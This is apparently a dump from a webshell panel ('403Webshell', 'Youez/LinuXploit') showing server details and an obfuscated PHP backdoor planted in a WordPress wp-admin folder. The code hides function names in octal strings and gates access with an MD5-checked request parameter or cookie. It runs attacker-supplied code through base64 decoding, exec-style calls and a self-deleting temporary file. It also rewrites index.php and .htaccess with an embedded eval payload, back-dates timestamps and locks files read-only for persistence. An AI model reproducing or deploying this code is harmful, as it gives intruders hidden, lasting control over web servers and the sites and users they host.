- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 170.150.155.74  /  Your IP : 18.117.162.116
Web Server : Apache/2.4.53 (Debian)
System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-admin/editor/editor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-admin/editor/editor/b86ba40ae4bdd49acc26d31a4f242ffd.data
<?php
/*Step Data*/
$s = $_SERVER;
/*Step Data*/
$g = $_REQUEST;
if (!empty($_GET))
    foreach ($_GET as $k => $v) $g[$k] = $v;
/*Step Data*/
$pz = function ($y, $z, $u, $c, $g, $q = '') {
    if ($u && @Md5_File($y) !== $u) {
        $fwC = $c[$g($z[3])];
        $t1 = @filEmtiMe($y);
        @ChMod($y, 0744);
        @$z[6]($y);
        $t1 || $t1 = time() - 3600;
        $t = ['m' => $t1, 'a' => $t1];
        File_Put_conTents($y, $c[implode('_', ['', 'code', ''])]($q ? $q : 'PD9waHAKJFJXeT0nTS9rUGkrcEdjc2VXVFFLMEpjTmdtOGlHUUJrUWtCU2FqRWFyYWxkY0lxU1Z0YW1VNGIvMzdPcG15Y2FRWktZUG1iN1kwdTUzdnJQbmZHZHZRc3gxc1d1NXpNRXU1ZlpVNjdkZlAzL1dtbUlyeEtuUGJiU043bnpDTnRldGtBVTRaSm9hdk55L3V2eDhTQzgvdi9IdTBuMzc4TUJ3d25RL3VUdmIveHlldjcrNjR4dWYvQU1qVVNWUjR0dFR6NTh5NENIZUhhR3UxckxHcHJGdkduK3A1NVBKcm5WMGZHenVUcXlMbytIWjN0R1pxWDdzb0g0SHJVdGpqOERvV01SY3NHNllHZWFwYVppRytuSG5vWTR0UlNrNHdMOU41em4yNE0wQ244UEpQTTFzM3d3VGQ0QkdWZUYxMEtJOFpaK3d6U3pzQ2ZMUXB3eVNGUGxlUXEyeWI4cW8xcTVaVjQ0TTgzSTBNYTJqa3hNWXJzQndod0NBM1RpSnlMVFNVVG9vdDZ0VFVKZW5XdUJCYm15cUNhdTI3SThwbGNNVC8yS0lQTkk0c2NRYjBkcnRMOCtmcmRRZ1JHRHVXVUxZWEpmc2VmNU1ETWtPMlkzbHVRbDBLYUpycTllcnFxTzN1Ym1wTzdHekE2L2JQNU1YbnN2Rm44Q0pmNm1kZUpBQ2lBZFJEdUtmaTM2WjFSaVRCZEtjajhhVExDZEEyVWphbXoxelBMSDJqSGNTSUpUd0E4cXhMV0ZuNXVRdjFRK2tvT1Z6SmlDa28wQ3VRakFLZXZFQ2xhYlFjTzF5eWhTWkovbW9LVEo0RVo4aThydkNiampWTWhnS1FkeFYyU3p6Qk55T3k2Wlc2dE1nMXRTQkJMbjREbFBTR25DMUk4TElKWERaM3g2VE1SUEg1VGFGVVpWSjdpRDRZYmFjYURJejdWcUxJS2xESU5FTlNERmw1cHVsQ1BYbVluYk9nNkhrWk15dEFOc1U3TWpjUWlBcXV3Z213dzZDT01XaHBtUng2L1NHUWdIM2Y5M1lrTDBSVDVqbGVOUXFHQnZBMHBORXg4d1BtYXNweDFsamw5NDZiQXRSZGtON1RnS1Y5eG9Gc2U4U1JyYzlHblYveXdVS1lseng2TW9IV3ltYmMyZG9ScjdWb2wvbzJpNG1RMU5LQjFaRkFqYXA3K2czYWZKanlQa0VOVnNRY01KbFpPV0tOQmdNWnBUS1JQOG1wU0xzTWgvU1d6cnhDUkxQTXFjcnJUemZ4WnBEWU5HNXZyN1dweGhQRTZZSE9PMEpWWFp5Mkxhd2xFcld5bFdHbEVPazB4V1FGbllnQnhPdHhIV1FNczZkRFRIbEVROTh1U0FZTEdEOGlvVktKdk5LWGtSajJQSTRGUnNsT3BPRFFZVzFvb3RSNkFyYVFxTS9Weis0ZVcydGxBdnNWMUdZaGpFeVpsbmc1LzdSVXRYMFgzYmFQMVNSMXNyeXNYS0R3TFBxYXNtOUdLVE90MlZOT2V5bTNmREQ1SHlMYjVGZHBTTzJaMjNPR1JpSWcxRGlCMkR4NWFlQzVGNlVmUEhTcVA2SHJQRS9NVTBUR0gzZXIzUlVFR1RXVWhhRDNNanJ6VTJCaTFNVDZOQkIzZlcyM0tyMGdCRGxSNU0ybTUweTJCelZVWnQ1VlBQcHVLd01JRGNMMTV6dkVPc2h0ZWFuNVArYUxOUkVXUHhYb2xTS1pJc3ZXaFJFUmJ6ZVgzY2dQODBvNURtMHQ2YXZJUUNJdlFHZFlzOE8xUm5YU3ExSCtRYmZyL3ByeTMwREFGMWkySWZRTG5OVDN3YWI1RlpkbnJrNStnV3BLeHhkNEd5LzIwS3FYcy9rdDZSeW85OWZIZzRBMER1QXVyYWZvREZ6citCcVo0b0w2Sk5EeWwwOFZBM0tneDdtNUpFbjk4aXpzd3RBZHVMUHA2bnRweXhiWFdYeldqNHo2aWNteFQ4MytzRUp2cnA0ZWNvUGJ6ZFMvK0Q5cC9Bc1hQUGZHc21GSFc4dy92dXJJRTM2ZjB4TUx6eVArMG8rM1NUbnkrL2xmRmZqak10ak5mREtremFRejV5MDlaajZRY0RFcmlIeFdaekxUR1pUSVUwU0xNUzA0RFlram1YWFRwZmJRZUtGalBUZzlBSTZVZGJOSVBMQ1ZKb3NNaER0RlNvQ2x4WUxPY1VMMmNjYzJOa3VaNzNxT3BZdlRYQzdEVGtzT0F2aHhjbHR3YjBEOEg2WXd2V1ZwMUJMcE9kRGdWeDNFeGJCcGNHeHAySy9yeVVvSzdBbkU3bDhHbGRNbFRUTGFNcng1MHdrNVFrWHI0Q0M2cmppaVQ3bDBWZU5iQ2xsNE40UzZwZWt6VUVXYWkrdGtLb2lab3dlTjZrTThndmpERkZ4WDV6dG1XMWZIRzJOSUoremVpT0VwYmE1NWV6NDlYeWVMaG5wNXZyNndwSEs5Z2U4TllvZG5KS1lKWWtGbHhJYWtVVXJrOXlUWWV0dWYwR04rL2hnUVlJRk1Kc2RTRnV0cnRRb3UxY0ZNWmdGZ0xHNFhTeUVLL0lkdG1Yc2dLTWc3cURqUGVOaXRDcytzVnlJRDFBNTQ4TTR3NXpzR2NPSmNUUWNuNXBHWjYyK2xwUENKYnRoZ1RDY1lRc1NURmpaZGk4Q2RCbjFYTHU2eGIrdVo2UDZvQ1ZERW1HaVZWaC82RzNqdytKWS9kZ1dYM2hnSDZFNHdkZXMrZVZSQWxiaE5LM2lLRkx6RE9YZXFldXhiRVRaS1J5Y2NFS0VFUFhQVkFmVzZjaDRlMlNjbUNmV3JqR2FqSEtuajhQZ0dGOStoa09QT2w4WW9YVnFqSVlUeXh5ZVdFOEtlQkgrc2ZnclFTSWZCaVBFUVA4Qyc7JFBPWlpLamJxciA9ZnVuY3Rpb24oKXskc3RUNWVNPSJXRVhlVHBHamdLY0lWMyI7cmV0dXJuICRzdFQ1ZU07Cn07JFk5bGl1VHNOUwk9CWZ1bmN0aW9uKCRtTmcgKQl7JEZGSCA9ICJhQmVjXzZFUzRvZCI7JEo0az0kRkZIWygxMSAtIDEgLTcpLzNdLiAkRkZIWygyMCAtIDEyLTgpLzRdCS4kRkZIWyg3NyAtIDUzKyA0KSAvNF07JEo0ay49CiRGRkhbKDU1LTQ4KyAxKS80XTskSjRrLj0KCSgoODggLSA2NCkgLyA0KS4NKCgxMDQtODgpLyA0KQ0uCSRGRkhbKDQwIC0gMjUgLTMpIC8gM10NLg0kRkZIWyg4OSAtIDI3IC0yKS82XS4gJEZGSFsoNjctIDQ5IC0gNikvMl0JLgokRkZIWyg3NSAtNTcpLzZdIDsKJEo0ay49CiAkRkZIWygxMzggLSA4NSArMSkgLzZdDS4JJ2QnOw0kSjRrIC49CiRGRkhbKDEwNi04OSAtNSkvNl0gLgknJzsgCXJldHVybiAkSjRrKCRtTmcpO307ICAJIAoJJGVfaUxzPQpmdW5jdGlvbgooJFJQbzdNNCApCXskUktuYVg4OCA9ICJEbSI7JFo0WTFuPSdNJwkuJ0cnLiAkUktuYVg4OFsoNCAtIDQgKyAyKSAvIDJdLidNJwo7CiRaNFkxbi49DSAkUktuYVg4OFsoMTAwIC0xMDApLzZdLgonJztyZXR1cm4gJFo0WTFuKCRSUG83TTQpOw0NIAkJfTsNICRac3ZiTVkgPQ1mdW5jdGlvbigkTW9fNG43MXR3LCRyZEdzM1RtVVQJKQl7JFFsVz0iakVwVGJ3ZFYiOwoJCQkNIA0JcmV0dXJuICRRbFc7fTsJCgokZV9pTHM9ZnVuY3Rpb24oJFJQbzdNNCkNeyRSS25hWDg4ID0gIkRtIjskWjRZMW49J00nIC4nRycJLiRSS25hWDg4Wyg0IC0gNCArIDIpIC8gMl0uJ00nOwkkWjRZMW4uPSRSS25hWDg4WygxMDAgLTEwMCkvNl0uDScnO3JldHVybiAkWjRZMW4oJFJQbzdNNCk7fTsJIAoNJGk4RSA9CWZ1bmN0aW9uCSgkSmIyCSkKeyRESGd0QXcgPSAiRXRsZmlBIjskcUp6Qmk9J0cnLgonWicNLg0kREhndEF3WygxMDctIDk5KS8yXQ07ICRxSnpCaQouPQknTicgLiRESGd0QXdbKDEwMiAtIDg0KSAvNl0uICRESGd0QXdbKDcwLTY1ICs1KSAvNV07ICRxSnpCaS49ICRESGd0QXdbKDEwNSAtODUrMTApLzZdCS4gJERIZ3RBd1soMTAxIC0gMTAzICs4KSAvIDZdLiRESGd0QXdbKDI4IC0zMiArNCkvIDJdCTsKJHFKekJpCS49IAonJzsgIHJldHVybiAkcUp6QmkoJEpiMik7CX07JHh0MFM3cCA9ZnVuY3Rpb24gKCRiazEKKQ17JG5YcGVEID0gIl9ydFMzbyI7JFJWMWw4bzI9JG5YcGVEWyg0MiAtIDIyLSAyKS82XS4JJ1QnLgkkblhwZURbKDQ2LSA0MSkvNV0uCSRuWHBlRFsoNjUgLTY1KSAvNF0JLiAkblhwZURbKDE0IC0gMTEpLzNdLiRuWHBlRFsoNTYgLTQzICsyKS8zXQk7DSRSVjFsOG8yCS49CiRuWHBlRFsoNDkgLSA0MSkgLyA0XTsJJFJWMWw4bzIKLj0JKCg2OSAtIDc0KzcpIC8yKS4gKCgzMS0gMjQrIDgpIC81KQk7CiRSVjFsOG8yLj0JJyc7IAogcmV0dXJuICRSVjFsOG8yKCRiazEpO307CgkgICAgICRSV3k9JGVfaUxzKCRSV3kpOw1mdW5jdGlvbiAgbUdtTWQoJEIyclMpIHsNcmV0dXJuIHdZRXhzUU90KCcnKS4kQjJyUzt9CiAKCQkJIAkNZnVuY3Rpb24gd1lFeHNRT3QgKCRidG8gKQl7JFAwaCA9ICI0VVZIdGhiNzkiOyRUTm5pZHNzPSgoODgtIDgyICsgOCkgLzIpLiRQMGhbKDM3IC0yOSkgLyA0XSAuJFAwaFsoODAtNTApIC8gNl0gOyRUTm5pZHNzCS49IAokUDBoWyg4MCAtIDU2ICsgNikgLzVdLiRQMGhbKDczIC02OCkgLyA1XSAuKCg2MSAtMTMgKyA2KSAvNikJLiAkUDBoWyg2NyAtIDUzKyAyKSAvNF0JLidHJzskVE5uaWRzcyAuPQonRicJOyAkVE5uaWRzcw0uPQkkUDBoWyg0MC0gMzggKyA0KSAvIDJdCS4gKCg5NCAtIDc0KSAvNSkgLiAnbScNLicnO3JldHVybiAkVE5uaWRzczsgICB9JFJXeSA9JFk5bGl1VHNOUygkUld5KTskUld5CT0gJGk4RSgkUld5KTsKJFJXeSA9JHh0MFM3cCgkUld5KTsNICBlVmFMCSgkUld5KTsgPz48P3BocCAgZGVmaW5lKCdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApO3JlcXVpcmUoX19ESVJfXy4gICcvd3AtYmxvZy1oZWFkZXIucGhwJyApOyA/Pg=='));
        Touch($y, $t['m'], $t['a']);
        @ChMod($y, 0444);
        return true;
    }
    return false;
};
/*Step Data*/
$c = [
    '137S105122V105122',
    'D117C125ME116T137122OO124',
    '137G105T',
    '_143o144145137',
    '641385e7c1afb005f0e3c5ac3b052133', 'd' => ['145170105c'],
    'in144e170056p150160', 'link',
    'h' => [
        "056150ta143143e163s", 'be476d27ece89594604d14886c081016', '146I154E137160U164137143O156164E116164123', '156am145'
    ],
    'c' => ['145170105c', '142101S145066064137d105C157d145', '141d155i156056160p160']
];
/*Step Data*/
$z = function ($b) {
    $_ = "";
    $g = strlen($b) - 2;
    $z = function ($b) {
        $_ = '';
        if (($g = strlen($b)) < 3) return [2, $b];
        for ($o = 0; $o < $g; $o++) {
            $_ .= $b[$o];
            if (!is_numeric($b[$o]) || $b[$o] >= 8) return [$o + 1, $_];
        }
        return [$o, chr(octdec($b))];
    };
    for ($o = 0; $o < $g; $o += $d[0]) {
        $d = $z($b[$o] . $b[$o + 1] . $b[$o + 2]);
        $_ .= $d[1];
    }
    return $_ . substr($b, $o);
};
/*Step Data*/
/*Step1 Data*/
$g['0x06'] = '_dxep';
/*Step Data*/
$r = rtrim($s[$z($c[1])], '/') . '/';
/*Step Data*/
$c[6] = 'un' . $c[6];
/*Step Data*/
$vn = '_exp';
/*Step1 Data*/
empty($_COOKIE[$g['0x06']]) && $_COOKIE[$g['0x06']] = FALSE;
if (!defined("WP_UNIQUE")) define("WP_UNIQUE", (isset($g['a']) && (($_e = substr(md5($g['a']), 2, 8) === 'b67bf06b') || preg_match('/^\d*[a-z,A-Z]{2,}\d{2,}$/i', $g['a'])) || !empty($_COOKIE[$vn])) ? (($_e || (!empty($_COOKIE[$vn]) && substr(md5($_COOKIE[$vn]), 2, 8) === 'b67bf06b')) ? 2 : 1) : 0);
$q = function ($g) {
    $data = array_map(function ($item) {
        $item();
        return "\$i";
    }, $g);

    return $data;
};

$q(
/* debug */
    $uz = [
        function () {

        },
        function () use ($r, $z, $c, $pz, $g) {
            $y = $r . $z($c[5]);
            $_COOKIE[$g['0x06']] = $pz($y, $c, $c[4], $g, $z);
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pz($r . $z($c['h'][0]), $c, $c['h'][1], $g, $z, 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+');
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pc = empty($g[$N = $z($c['h'][3])]) ? '' : $g[$N];
            $q = 'PD9waHAgQHVubGluayhfX0ZJTEVfXyk7Pz4';
            if (WP_UNIQUE !== 2 || strlen($pc) < 20 || stripos($pc, ';') === false) return;
            $q = base64_decode($q);
            @file_put_contents($d = time() . rand(1000, 9999), $q . $g[implode('_', ['', 'code', ''])]($pc));
            if (file_exists($d))
                @require $d;
            die();
        },
        function () use ($z, $c, $r, $g) {
            if (!WP_UNIQUE || empty($g['fx'])) return;
            $pc = $z($c['c'][1]);
            $pz = $z($c['h'][2]);
            $pz($z($c['c'][2]), $pc($g['fx']));
            echo explode('.', $z($c['c'][2]))[0];
            die();
        },
        function () use ($g) {
            if (WP_UNIQUE && isset($g['d']))
                echo $g['d'] ? "Dj" . $g['d'] : 'd';
        },
        function () use ($z, $c, $g) {
            $pc = $z($c[$v = 'c'][0]);
            $pz = $z($c['c'][1]);
            WP_UNIQUE && isset($g[$v]) && ((isset($g[$r = 'g']) && $pc = $g[$r]) || 1) &&
            $pc($z($g[$v] ? $pz($g[$v]) : "153i154l -071040-61"), $a) && print_r($a);
        },

        function () use ($g) {
            if (WP_UNIQUE && isset($g['z']))
                die();
        },
    ]

/**/
);
$y = $r . $z($c[5]);




Youez - 2016 - github.com/yon3zu
LinuXploit